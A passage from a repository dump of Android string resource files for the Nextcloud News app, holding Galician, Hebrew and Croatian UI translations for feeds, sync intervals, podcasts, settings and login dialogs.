name=\"pref_title_BackButtonOpensDrawer\">O botón de retroceso abre o caixón</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Aceptar un certificado descoñecido?</string>\n    <string name=\"mtm_decision_always\">Sempre</string>\n    <string name=\"mtm_decision_abort\">Interromper</string>\n    <string name=\"mtm_notification\">Verificación do certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Non hai ningún podcast seleccionado</string>\n    <string name=\"no_chapters_available\">Non hai capítulos dispoñíbeis</string>\n    <string name=\"exit_playback\">Saír do reprodutor</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidade de reprodución</string>\n    <string name=\"notification_downloading_podcast_title\">Descargando podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Confirma isto?</string>\n    <string name=\"dialog_podcast_remove_body\">Confirma que quere retirar os ficheiros multimedia descargados para %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Produciuse un fallo ao retirar os ficheiros multimedia para %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Retiráronse os ficheiros multimedia para %1$s</string>\n    <string name=\"dialog_podcast_remove_confirm\">Retirar</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Sobre</string>\n    <string name=\"pref_license\">Licenza</string>\n    <string name=\"pref_license_summary\">GNU Licenza Pública Xeral Affero (AGPL) versión 3</string>\n    <string name=\"pref_report_issue\">Informe dun incidente</string>\n    <string name=\"pref_report_issue_summary\">Precísase dunha conta (de balde) de GitHub</string>\n    <string name=\"pref_contribute\">Colabore!</string>\n    <string name=\"pref_contribute_summary\">Obteña o código fonte</string>\n    <string name=\"pref_privacy\">Privacidade</string>\n    <string name=\"pref_privacy_summary\">Directiva de privacidade de Novas de Nextcloud para Android</string>\n    <string name=\"pref_news_policy\">Contacte connosco / Directiva de noticias</string>\n    <string name=\"pref_news_policy_summary\">Noticias de Nextcloud. Directiva de noticias de Android / Contacte connosco</string>\n    <string name=\"pref_version\">Aplicación de Android para novas de Nextcloud</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Presentar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Dsposición da lista de novas</string>\n    <string name=\"pref_title_font_size\">Tamaño da letra</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Iconas de acción (vista detallada)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Predeterminado do sistema</string>\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Escuro</string>\n\n    <string name=\"pref_oled_mode\">Fondo escuro</string>\n    <string name=\"pref_oled_mode_summary\">Para o tema escuro nas pantallas OLED</string>\n\n    <string name=\"pref_detailed_view_zoom\">Zoom de vista detallada</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Activar o zoom do contido na vista detallada</string>\n\n    <string name=\"pref_external_player\">Reprodutor externo</string>\n    <string name=\"pref_external_player_summary\">Reproduce podcasts na súa aplicación multimedia predeterminada</string>\n\n    <string name=\"pref_display_browser_cct\">Lapelas integradas do Chrome</string>\n    <string name=\"pref_display_browser_built_in\">Navegador integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador externo</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniaturas (só os titulares)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturas</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Texto sinxelo</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Titulares</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Texto completo</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Disposición web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Vista de tarxetas</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Pequeno</string>\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"pref_display_font_size_l\">Grande</string>\n    <string name=\"pref_display_font_size_xl\">Moi grande</string>\n\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausa</string>\n    <string name=\"content_desc_playback_speed\">Velocidade de reprodución</string>\n    <string name=\"content_desc_rewind\">Atrás</string>\n    <string name=\"content_desc_forward\">Reenviar</string>\n    <string name=\"content_desc_expand\">Estender</string>\n    <string name=\"content_desc_collapse\">Contraer</string>\n    <string name=\"content_desc_mark_as_read\">Marcar como lido</string>\n    <string name=\"content_desc_mark_as_unread\">Marcar como sen ler</string>\n    <string name=\"content_desc_tap_to_refresh\">Toque para actualizar</string>\n    <string name=\"content_desc_add_to_favorites\">Engadir a favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Retirar de favoritos</string>\n    <string name=\"content_desc_show_password\">Amosar o contrasinal</string>\n    <string name=\"content_desc_delete\">Eliminar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Erro</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Semella que a súa aplicación de novas non está instalada ou activada no seu servidor. Siga as instrucións para configurar a aplicación de novas no seu servidor: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo foi mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">A aplicación web de novas devolveu a versión «0». Bótelle un ollo ao seguinte informe de fallo: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión da aplicación non é compatíbel coa súa aplicación de novas para Nextcloud. Anove a aplicación de novas e o contorno de traballo da aplicación.</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguranza</string>\n    <string name=\"login_dialog_text_security_warning\">Non está a empregar HTTPS, o que se recomenda encarecidamente. Un atacante podería interceptar o seu tráfico e obter acceso a algúns datos sensíbeis (p. ex. o contrasinal).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Algo foi mal. Ténteo de novo.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Datos e sincronización</string>\n    <string name=\"pref_title_clearCache\">Limpar a memoria tobo</string>\n    <string name=\"pref_title_CacheImagesOffline\">Gardar a imaxe na memoria tobo sen conexión</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo da memoria tobo</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Só mediante wifi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre wifi e  móbil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cando non estea conectado a unha wifi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_min_45\">45 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_2\">2 horas</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    <string name=\"switch_account\">Cambiar de conta</string>\n    \n    <string name=\"successfully_exported\">Exportado satisfactoriamente a:</string>\n    <string name=\"opml_export\">Exportar OPML</string>\n    <string name=\"parsing_opml\">Analizando OPML</string>\n    <string name=\"please_wait\">Agarde…</string>\n    <string name=\"interval_sync_title\">Intervalo de sincronización</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-he/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">סנכרון אוטומטי</string>\n    <string name=\"title_activity_sync_interval_selector\">הפרש בין סנכרונים</string>\n    <string name=\"empty_view_content\">אין כאן פריטים</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"no_wifi_available\">אין חיבור WiFi</string>\n    <string name=\"current_version\">הנך משתמש/ת בגרסה %s</string>\n    <string name=\"widget_header\">חדשות ownCloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">פריט %d חדש זמין</item>\n        <item quantity=\"two\">%d פריטים חדשים זמינים</item>\n        <item quantity=\"many\">%d פריטים חדשים זמינים</item>\n        <item quantity=\"other\">%d פריטים חדשים זמינים</item>\n    </plurals>\n    <string name=\"message_bar_reload\">טעינה מחדש</string>\n    <string name=\"allUnreadFeeds\">כל הפריטים שלא נקראו</string>\n    <string name=\"starredFeeds\">פריטים שמסומנים בכוכב</string>\n    <string name=\"title_activity_new_feed\">הוספת ערוץ הזנת תוכן חדש</string>\n\n    <string name=\"menu_update\">רענון</string>\n    <string name=\"menu_markAllAsRead\">סימון הכול כנקרא</string>\n    <string name=\"menu_StartImageCaching\">הורדת תמונות</string>\n    <string name=\"menu_downloadMoreItems\">הורדת פריטים נוספים</string>\n\n    <string name=\"tv_showing_cached_version\">הגרסה השמורה מוצגת</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">מסומן בכוכב</string>\n    <string name=\"action_read\">נקרא</string>\n    <string name=\"action_playPodacst\">נגינת פודקאסט</string>\n    <string name=\"action_openInBrowser\">פתיחה בדפדפן</string>\n    <string name=\"action_Share\">שיתוף</string>\n    <string name=\"action_login\">הגדרות שרת</string>\n    <string name=\"action_save\">שמירה</string>\n    <string name=\"action_settings\">הגדרות</string>\n    <string name=\"action_sync_settings\">הגדרות סנכרון</string>\n    <string name=\"action_add_new_feed\">הוספת ערוץ תוכן חדש</string>\n    <string name=\"action_textToSpeech\">הקראה</string>\n    <string name=\"action_search\">חיפוש</string>\n    <string name=\"action_download_articles_offline\">הורדת כתבות לשימוש בלתי מקוון</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">מתקבלות כתבות לשימוש בלתי מקוון</string>\n    <string name=\"notification_download_images_offline\">מתקבלות תמונות לשימוש בלתי מקוון</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">יש לך פריט חדש %d שלא נקרא</item>\n        <item quantity=\"two\">יש לך %dפריטים חדשים שלא נקראו </item>\n        <item quantity=\"other\">יש לך %d פריטים חדשים שלא נקראו</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">יש פריט (%d) חדש שלא נקרא</item>\n        <item quantity=\"two\">יש %d פריטים חדשים שלא נקראו</item>\n        <item quantity=\"many\">יש %d פריטים חדשים שלא נקראו</item>\n        <item quantity=\"other\">יש %d פריטים חדשים שלא נקראו</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">נתיב ערוץ תוכן</string>\n    <string name=\"action_add_feed\">הוספת ערוץ תוכן</string>\n    <string name=\"import_opml\">ייבוא OPML</string>\n    <string name=\"export_opml\">ייצוא OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">הורדת תמונה</string>\n    <string name=\"action_img_sharelink\">שיתוף קישור תמונה</string>\n    <string name=\"action_img_open\">פתיחת תמונה בדפדפן</string>\n    <string name=\"action_img_copylink\">העתקת קישור תמונה</string>\n    <string name=\"action_link_share\">שיתוף קישור</string>\n    <string name=\"action_link_open\">פתיחת קישור בדפדפן</string>\n    <string name=\"action_link_copy\">העתקת קישור</string>\n    <string name=\"toast_img_saved\">תמונה נשמרה</string>\n    <string name=\"toast_img_notwriteable\">כתיבת התמונה נכשלה.</string>\n    <string name=\"toast_copied_to_clipboard\">הועתק ללוח הגזירים - clipboard</string>\n    <string name=\"error_download_failed\">ההורדה נכשלה</string>\n    <string name=\"intent_title_share\">שיתוף דרך</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">הסרת הזנה</string>\n    <string name=\"action_feed_rename\">שינוי שם הזנה</string>\n    <string name=\"action_feed_move\">העברת הזנה</string>\n    <string name=\"action_feed_notification_settings\">הגדרות התראה</string>\n    <string name=\"feed_remove_button\">הסרה</string>\n    <string name=\"feed_rename_button\">שינוי שם</string>\n    <string name=\"confirm_feed_remove\">להסיר את ההזנה הזאת? מדובר בהליך בלתי הפיך.</string>\n    <string name=\"feed_move_list_description\">לבחור תיקייה אליה להעביר את ההזנה</string>\n    <string name=\"move_feed_root_folder\">תיקיית בסיס</string>\n\n\n    <string name=\"action_folder_rename\">שינוי שם תיקייה</string>\n    <string name=\"folder_remove_button\">הסרה</string>\n    <string name=\"folder_rename_button\">שינוי שם</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">הוספה</string>\n    <string name=\"hint_folder_name\">שם תיקייה</string>\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">כניסה ידנית</string>\n    <string name=\"login_sso\">כניסה דרך יישומון הקבצים של Nextcloud</string>\n    <string name=\"pref_title_username\">שם משתמש</string>\n    <string name=\"pref_title_password\">סיסמא</string>\n    <string name=\"pref_title_owncloudRootPath\">כתובת בסיס ה־Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">כניסה</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">השדה הזה נחוץ</string>\n    <string name=\"error_invalid_url\">כתובת שגויה</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">התקבל פריט ישן %d</item>\n        <item quantity=\"two\">התקבלו %d פריטים ישנים</item>\n        <item quantity=\"other\">התקבלו %d פריטים ישנים</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">אין פריטים נוספים זמינים</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">הגדרות</string>\n    <string name=\"cache_is_cleared\">המטמון התרוקן!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">כללי</string>\n    <string name=\"pref_title_general_sort_order\">סדר חיפוש</string>\n\n    <string name=\"pref_rename_action_swipe_right\">פעולה להחלקה ימינה</string>\n    <string name=\"pref_rename_action_swipe_left\">פעולה להחלקה שמאלה</string>\n\n    <string name=\"pref_title_general_search_in\">חיפוש תחת</string>\n\n    <string name=\"pref_general_search_in_title\">כותרת</string>\n    <string name=\"pref_general_search_in_body\">גוף</string>\n    <string name=\"pref_general_search_in_both\">שניהם</string>\n\n    <string name=\"dialog_clearing_cache\">זכרון המטמון מתפנה</string>\n    <string name=\"reset_cache_unsaved_changes\">יש שינויים שלא סונכרנו. לאפס את המטמון בכל זאת?</string>\n    <string name=\"warning\">אזהרה</string>\n    <string name=\"pref_title_AutoSyncOnStart\">סנכרון בהתחלה</string>\n    <string name=\"pref_title_ShowOnlyUnread\">הצגת כתבות שלא נקראו בלבד</string>\n    <string name=\"pref_title_DisableHostnameVerification\">נטרול אימות מארח</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">ניווט עם כפתורי עצמת שמע</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">סימון כנקרא בזמן הגלילה</string>\n    <string name=\"pref_title_ShowFastActions\">הפעלת תכונות גישה מהירה</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">לדלג על התצוגה המפורטת ולפתוח את הכתבה בדפדפן</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">לקבל אישור בלתי ידוע?</string>\n    <string name=\"mtm_decision_always\">תמיד</string>\n    <string name=\"mtm_decision_abort\">להפסיק</string>\n    <string name=\"mtm_notification\">אימות אישור</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">לא נבחרו פודקאסטים</string>\n    <string name=\"no_chapters_available\">אין פרקים זמינים</string>\n    <string name=\"exit_playback\">צא.י מנגן</string>\n    <string name=\"podcast_playback_speed_dialog_title\">מהירות נגינה</string>\n    <string name=\"notification_downloading_podcast_title\">הפודקאסט מתקבל</string>\n    <string name=\"dialog_podcast_remove_title\">האם הינך בטוח?</string>\n    <string name=\"dialog_podcast_remove_confirm\">הסרה</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">על אודות</string>\n    <string name=\"pref_license\">רישיון</string>\n    <string name=\"pref_license_summary\">גרסה 3 של הרישיון הציבורי הכללי של GNU Affero ‏(AGPL)</string>\n    <string name=\"pref_report_issue\">דיווח על תקלה</string>\n    <string name=\"pref_report_issue_summary\">נדרש חשבון ב־GitHub (ללא עלות)</string>\n    <string name=\"pref_contribute\">להתנדב!</string>\n    <string name=\"pref_contribute_summary\">הורדת קוד המקור</string>\n    <string name=\"pref_privacy\">פרטיות</string>\n    <string name=\"pref_version\">יישומון החדשות של Nextcloud ל־Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">תצוגה</string>\n    <string name=\"pref_title_app_theme\">ערכת עיצוב</string>\n    <string name=\"pref_title_feed_list_layout\">פריסת רשימת הזנות</string>\n    <string name=\"pref_title_font_size\">גודל גופן</string>\n    <string name=\"pref_display_browser\">דפדפן</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">סמלי פעולה (תצוגה מפורטת)</string>\n\n    <string name=\"pref_display_apptheme_auto\">ברירת מחדל של המערכת</string>\n    <string name=\"pref_display_apptheme_light\">בהירה</string>\n    <string name=\"pref_display_apptheme_dark\">כהה</string>\n\n    <string name=\"pref_oled_mode\">רקע שחור</string>\n    <string name=\"pref_oled_mode_summary\">לערכת עיצוב כהה במסכי OLED</string>\n\n    <string name=\"pref_display_browser_cct\">לשוניות Chrome מובנות מותאמות</string>\n    <string name=\"pref_display_browser_built_in\">דפדפן מובנה</string>\n    <string name=\"pref_display_browser_external\">דפדפן חיצוני</string>\n\n    <string name=\"pref_display_feed_list_layout_thumbnails\">תמונות ממוזערות</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">טקסט פשוט</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">כותרות</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">טקסט מלא</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">פריסה לדפדפן</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">תצוגת כרטיסים</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">קטן</string>\n    <string name=\"pref_display_font_size_d\">בררת מחדל</string>\n    <string name=\"pref_display_font_size_l\">גדול</string>\n    <string name=\"pref_display_font_size_xl\">גדול מאוד</string>\n\n    <string name=\"content_desc_play\">נגן</string>\n    <string name=\"content_desc_pause\">השהה</string>\n    <string name=\"content_desc_forward\">העברה</string>\n    <string name=\"content_desc_expand\">הרחבה</string>\n    <string name=\"content_desc_collapse\">קיווץ</string>\n    <string name=\"content_desc_mark_as_read\">סימון כנקרא</string>\n    <string name=\"content_desc_mark_as_unread\">סימון כלא נקרא</string>\n    <string name=\"content_desc_add_to_favorites\">הוספה למועדפים</string>\n    <string name=\"content_desc_remove_from_favorites\">הסרה מהמועדפים</string>\n    <string name=\"content_desc_show_password\">הצגת ססמה</string>\n    <string name=\"content_desc_delete\">מחיקה</string>\n    <string name=\"content_desc_download\">הורדה</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">שגיאה</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">נראה כי יישומון החדשות שלך לא מותקן או מופעל בשרת שלך. נא לעקוב אחר ההנחיות שמסופקות כאן כדי להתקין את יישומון החדשות על השרת שלך: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">משהו השתבש :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">יישומון החדשות המקוון החזיר שמספר הגרסה שלו היא „0”. נא לעיין בדיווח התקלה הבא: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">גרסת יישומון זו אינה תואמת ליישומון החדשות שלך ב־Nextcloud. נא לשדרג את יישומון החדשות ואת סביבת עבודת היישומונים.</string>\n    <string name=\"login_dialog_title_security_warning\">אזהרת אבטחה</string>\n    <string name=\"login_dialog_text_security_warning\">אינך עושה שימוש ב־HTTPS, שהיא שיטת העבודה המומלצת. לתוקף יש אפשרות ליירט את התעבורה שלך ולקבל גישה לנתונים רגישים (למשל: הססמה שלך).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">נתונים וסנכרון</string>\n    <string name=\"pref_title_clearCache\">פינוי מטמון</string>\n    <string name=\"pref_title_CacheImagesOffline\">לשמור את התמונות במטמון</string>\n    <string name=\"pref_title_Max_Cache_Size\">גודל המטמון המרבי</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">לעולם לא</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">דרך רשת אלחוטית בלבד</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">דרך רשת אלחוטית וסלולרית</string>\n    <string name=\"pref_data_sync_image_cache_ask\">לשאול כאשר אין חיבור אלחוטי</string>\n\n    <string name=\"array_sync_interval_min_0\">מעולם לא</string>\n    <string name=\"array_sync_interval_min_5\">5 דקות</string>\n    <string name=\"array_sync_interval_min_15\">15 דקות</string>\n    <string name=\"array_sync_interval_min_30\">30 דקות</string>\n    <string name=\"array_sync_interval_min_45\">45 דקות</string>\n    <string name=\"array_sync_interval_hour_1\">שעה</string>\n    <string name=\"array_sync_interval_hour_2\">שעתיים</string>\n    <string name=\"array_sync_interval_hour_3\">3 שעות</string>\n    <string name=\"array_sync_interval_hour_6\">6 שעות</string>\n    <string name=\"array_sync_interval_hour_12\">12 שעות</string>\n    <string name=\"array_sync_interval_hour_24\">24 שעות</string>\n    <string name=\"switch_account\">החלף חשבון</string>\n    \n    <string name=\"please_wait\">נא להמתין…</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-hr/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automatska sinkronizacija</string>\n    <string name=\"title_activity_sync_interval_selector\">Interval sinkronizacije</string>\n    <string name=\"empty_view_content\">Ovdje nema stavki</string>\n    <string name=\"empty_view_content_action\">Povuci prema dolje za osvježavanje</string>\n    <string name=\"no_wifi_available\">Nije povezana bežična (Wi-Fi) mreža</string>\n    <string name=\"current_version\">Koristite se inačicom %s</string>\n    <string name=\"widget_header\">Newscloud vijesti</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Dostupna je %d nova stavka</item>\n        <item quantity=\"few\">Dostupno je %d novih stavki</item>\n        <item quantity=\"other\">Dostupno je %d novih stavki</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Ponovno učitaj</string>\n    <string name=\"allUnreadFeeds\">Sve nepročitane stavke</string>\n    <string name=\"starredFeeds\">Stavke označene zvjezdicom</string>\n    <string name=\"title_activity_new_feed\">Dodaj novi sažetak</string>\n\n    <string name=\"menu_update\">Osvježi</string>\n    <string name=\"menu_markAllAsRead\">Označi sve kao pročitano</string>\n    <string name=\"menu_StartImageCaching\">Preuzmi slike</string>\n    <string name=\"menu_downloadMoreItems\">Preuzmi više stavki</string>\n\n    <string name=\"tv_showing_cached_version\">Prikazuje se inačica iz predmemorije</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Označeno zvjezdicom</string>\n    <string name=\"action_read\">Čitaj</string>\n    <string name=\"action_playPodacst\">Reproduciraj podcast</string>\n    <string name=\"action_openInBrowser\">Otvori u web-pregledniku</string>\n    <string name=\"action_Share\">Dijeli</string>\n    <string name=\"action_login\">Postavke poslužitelja</string>\n    <string name=\"action_save\">Spremi</string>\n    <string name=\"action_settings\">Postavke</string>\n    <string name=\"action_sync_settings\">Postavke sinkronizacije</string>\n    <string name=\"action_add_new_feed\">Dodaj novi sažetak</string>\n    <string name=\"action_textToSpeech\">Pročitaj naglas</string>\n    <string name=\"action_search\">Traži</string>\n    <string name=\"action_download_articles_offline\">Preuzmi članke izvan mreže</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Preuzimanje članaka za izvanmrežno korištenje</string>\n    <string name=\"notification_download_images_offline\">Preuzimanje slika za izvanmrežno korištenje</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Imate %d novu nepročitanu stavku</item>\n        <item quantity=\"few\">Imate %d novih nepročitanih stavki</item>\n        <item quantity=\"other\">Imate %d novih nepročitanih stavki</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Dostupna je %d nova nepročitana stavka</item>\n        <item quantity=\"few\">Dostupno je %d novih nepročitanih stavki</item>\n        <item quantity=\"other\">Dostupno je %d novih nepročitanih stavki</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL sažetka</string>\n    <string name=\"action_add_feed\">Dodaj sažetak</string>\n    <string name=\"import_opml\">Uvezi OPML</string>\n    <string name=\"export_opml\">Izvezi OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Preuzmi sliku</string>\n    <string name=\"action_img_sharelink\">Dijeli poveznicu slike</string>\n    <string name=\"action_img_open\">Otvori sliku u pregledniku</string>\n    <string name=\"action_img_copylink\">Kopiraj poveznicu slike</string>\n    <string name=\"action_link_share\">Dijeli poveznicu</string>\n    <string name=\"action_link_open\">Otvori poveznicu u pregledniku</string>\n    <string name=\"action_link_copy\">Kopiraj poveznicu</string>\n    <string name=\"toast_img_saved\">Slika je spremljena</string>\n    <string name=\"toast_img_notwriteable\">Zapisivanje slike nije uspjelo.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopirano u međuspremnik</string>\n    <string name=\"error_download_failed\">Preuzimanje nije uspjelo</string>\n    <string name=\"intent_title_share\">Dijeli putem</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Ukloni sažetak</string>\n    <string name=\"action_feed_rename\">Preimenuj sažetak</string>\n    <string name=\"action_feed_move\">Premjesti sažetak</string>\n    <string name=\"action_feed_notification_settings\">Postavke obavijesti</string>\n    <string name=\"feed_remove_button\">Ukloni</string>\n    <string name=\"feed_rename_button\">Preimenuj</string>\n    <string name=\"confirm_feed_remove\">Želite li zaista ukloniti ovaj sažetak? Ta se radnja ne može poništiti!</string>\n    <string name=\"feed_move_list_description\">Odaberite mapu u koju želite premjestiti sažetak</string>\n    <string name=\"move_feed_root_folder\">Korijenska mapa</string>\n\n\n    <string name=\"action_folder_rename\">Preimenuj mapu</string>\n    <string name=\"folder_remove_button\">Ukloni</string>\n    <string name=\"folder_rename_button\">Preimenuj</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Dodaj</string>\n    <string name=\"hint_folder_name\">Naziv mape</string>\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Ručna prijava</string>\n    <string name=\"login_sso\">Prijavite se putem aplikacije Nextcloud Files</string>\n    <string name=\"pref_title_username\">Korisničko ime</string>\n    <string name=\"pref_title_password\">Zaporka</string>\n    <string name=\"pref_title_owncloudRootPath\">Korijenska adresa Nextclouda</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Prijava</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Ovo polje je obavezno</string>\n    <string name=\"error_invalid_url\">Netočan URL</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Preuzeta je %d stara stavka</item>\n        <item quantity=\"few\">Preuzeto je %d starih stavki</item>\n        <item quantity=\"other\">Preuzeto je %d starih stavki</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Nema više dostupnih stavki</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Postavke</string>\n    <string name=\"cache_is_cleared\">Predmemorija je izbrisana!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Općenito</string>\n    <string name=\"pref_title_general_sort_order\">Redoslijed razvrstavanja</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Novo → staro</string>\n    <string name=\"pref_general_sort_order_old_new\">Staro → novo</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Radnja pri pomicanju udesno</string>\n    <string name=\"pref_rename_action_swipe_left\">Radnja pri pomicanju ulijevo</string>\n\n    <string name=\"pref_title_general_search_in\">Traži u</string>\n\n    <string name=\"pref_general_search_in_title\">Naslov</string>\n    <string name=\"pref_general_search_in_body\">Tijelo</string>\n    <string name=\"pref_general_search_in_both\">Oboje</string>\n\n    <string name=\"dialog_clearing_cache\">Brisanje predmemorije</string>\n    <string name=\"reset_cache_unsaved_changes\">Postoje nesinkronizirane promjene. Želite li resetirati predmemoriju?</string>\n    <string name=\"warning\">Upozorenje</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sinkroniziraj pri pokretanju</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Prikaži samo nepročitane članke</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Onemogući provjeru naziva računala</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigiraj tipkama za glasnoću</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Označi kao pročitano tijekom pomicanja</string>\n    